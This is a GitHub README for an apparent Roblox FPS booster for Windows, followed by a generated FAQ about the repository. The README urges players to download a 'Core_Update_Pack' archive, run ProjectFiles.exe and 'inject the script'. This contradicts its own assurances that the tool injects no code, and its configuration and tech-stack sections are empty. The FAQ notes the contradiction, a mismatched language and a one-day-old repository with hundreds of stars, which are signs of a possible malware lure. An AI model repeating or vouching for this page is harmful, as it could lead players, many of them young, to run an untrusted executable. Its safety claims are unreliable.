roblox-performance-tool README

The project's README from github.com/PulverizeLink/roblox-performance-tool. As one markdown file: README.md.

🚀 Roblox Performance Tool

FPS Booster & Lag Fix for Windows — 2026

A lightweight, open-source Windows utility designed to optimize Roblox performance. Boost your frame rate, fix stuttering, reduce input lag, and unlock custom frame limits without modifying game files.


🎯 What it is

Roblox Performance Tool is a native utility for players who want smoother gameplay. It safely adjusts system priorities and removes the default frame rate cap, which causes stuttering and input delay on modern monitors.

🛡️ Safe by design: It does not inject code into the game, does not modify memory, and does not bypass anti-cheat. It only adjusts the frame rate limit and system priorities.


🚀 Quick Start

Download Project

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe.
  4. Follow the on-screen instructions and inject the script.

✨ Features

Feature Description
⚡ FPS Boost Removes the frame rate cap for smoother gameplay
🎯 Custom Frame Limit Set your desired FPS (e.g., 144, 240, or unlimited)
📉 Lag Reduction Smoother camera movement and faster response times
🖥️ System Tray Support Runs quietly in the background
🔄 Auto-Launch Automatically applies settings when Roblox starts
🛡️ Safe & Reversible No game file modifications; settings can be reset

🛠️ How to use

  1. Launch the application.
  2. Set your desired FPS limit in the interface (or leave it at 0 for unlimited).
  3. Click "Apply".
  4. Launch Roblox. The performance boost is now active.
  5. To restore default settings, click "Reset" in the app.

⚙️ Configuration

You can adjust settings in the config.ini file:


❓ FAQ

Is this safe to use? Yes. The tool only changes the frame rate limit and process priority. It does not interact with the game's memory or anti-cheat systems. Thousands of players use similar tools daily.

Does it work on Mac or Linux? Currently, the tool is exclusive to Windows 10 and 11.

Do I need to keep the app running? No. Once you apply the settings, you can close the app. The performance boost remains active until you reset it or Roblox updates.

Why does my FPS drop after an update? Roblox updates sometimes reset the FPS cap. Simply run the tool again and click "Apply".


💻 Tech Stack & Architecture


🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome. See CONTRIBUTING.md for guidelines.


📜 License

MIT License — free to use, modify and redistribute.


⭐ Star the repo if it helped you.

roblox-performance-tool (PulverizeLink/roblox-performance-tool)

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What is this?A small Windows utility that tries to make Roblox run smoother: it removes the default frame rate cap, lets you set a custom FPS limit, and adjusts process priority to reduce stutter and input lag.
Is it a standalone app or a plugin for Roblox?A standalone Windows program (ProjectFiles.exe) with a system tray icon, not a plugin inside Roblox. It keeps running in the background while it is open.
How do I get it running?Download the archive with the button in the README, extract it to its own folder, run ProjectFiles.exe, set an FPS limit (0 means unlimited), click Apply, then launch Roblox. The Quick Start also says to inject a script, see limitations.
Do I need anything else installed?Only Windows 10 or 11 (64-bit) is stated, and the README lists no other runtimes. It also says the core is C++ with Win32 and Dear ImGui, while GitHub reports Python as the main language.
Are there risks in the install steps?Yes. The Quick Start tells you to 'inject the script', which contradicts the README's own claim that it does not inject code. The download is a 'CoreUpdatePack' archive, and the repository was created on 2026-11-06, so verify the source before running any executable.
Who is it actually for?Windows players on Roblox who want higher, steadier FPS and smoother camera movement, especially on high-refresh monitors.
Does it work on Mac or Linux?No. The README says the tool is exclusive to Windows 10 and 11.
Does it change my game files or send data anywhere?The README says it does not modify game files or memory, but it does not describe network use. The 'Check for Updates' option suggests it contacts a server, and the README does not say what is sent.
What can I change in config.ini?The FPS limit (0 for unlimited, or a number like 144 or 240), high priority for the Roblox process, auto-start, minimize to tray, and update notifications.
Do I need to keep the app open after applying?No. The README says you can close it once settings are applied, and the boost stays active until you click Reset or Roblox updates.
What do I do when FPS drops after a Roblox update?Roblox updates can reset the FPS cap, so run the tool again and click Apply.
Size
<0.1 MB
Stars
426
Updated
CommitNov 06
Age
1d
Commits · 90 Days